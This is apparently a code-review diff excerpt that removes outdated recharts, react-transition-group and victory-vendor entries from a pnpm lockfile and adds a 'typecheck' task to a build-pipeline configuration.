fast-equals: 5.4.1
prop-types: 15.8.1
react: 19.2.7
react-dom: 19.2.7(react@19.2.7)
react-transition-group: 4.4.5(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
react-style-singleton@2.2.3(@types/react@19.2.17)(react@19.2.7):
dependencies:
get-nonce: 1.0.1
@@ -9588,15 +9535,6 @@ snapshots:
prop-types: 15.8.1
react: 19.2.7
react-transition-group@4.4.5(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
dependencies:
'@babel/runtime': 7.29.7
dom-helpers: 5.2.1
loose-envify: 1.4.0
prop-types: 15.8.1
react: 19.2.7
react-dom: 19.2.7(react@19.2.7)
react@19.2.7: {}
read-package-up@11.0.0:
@@ -9655,23 +9593,6 @@ snapshots:
real-require@1.0.0: {}
recharts-scale@0.4.5:
dependencies:
decimal.js-light: 2.5.1
recharts@2.15.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
dependencies:
clsx: 2.1.1
eventemitter3: 4.0.7
lodash: 4.18.1
react: 19.2.7
react-dom: 19.2.7(react@19.2.7)
react-is: 18.3.1
react-smooth: 4.0.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
recharts-scale: 0.4.5
tiny-invariant: 1.3.3
victory-vendor: 36.9.2
recharts@3.8.0(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react-is@18.3.1)(react@19.2.7)(redux@5.0.1):
dependencies:
'@reduxjs/toolkit': 2.12.0(react-redux@9.3.0(@types/react@19.2.17)(react@19.2.7)(redux@5.0.1))(react@19.2.7)
@@ -10351,23 +10272,6 @@ snapshots:
vary@1.1.2: {}
victory-vendor@36.9.2:
dependencies:
'@types/d3-array': 3.2.2
'@types/d3-ease': 3.0.2
'@types/d3-interpolate': 3.0.4
'@types/d3-scale': 4.0.9
'@types/d3-shape': 3.1.8
'@types/d3-time': 3.0.4
'@types/d3-timer': 3.0.2
d3-array: 3.2.4
d3-ease: 3.0.1
d3-interpolate: 3.0.1
d3-scale: 4.0.2
d3-shape: 3.2.0
d3-time: 3.1.0
d3-timer: 3.0.1
victory-vendor@37.3.6:
dependencies:
'@types/d3-array': 3.2.2
View File
Whitespace-only changes.
+3
View File
@@ -12,6 +12,9 @@
"test": {
"dependsOn": ["^build"]
},
"typecheck": {
"dependsOn": ["^build"]
},
"lint": {}
}
}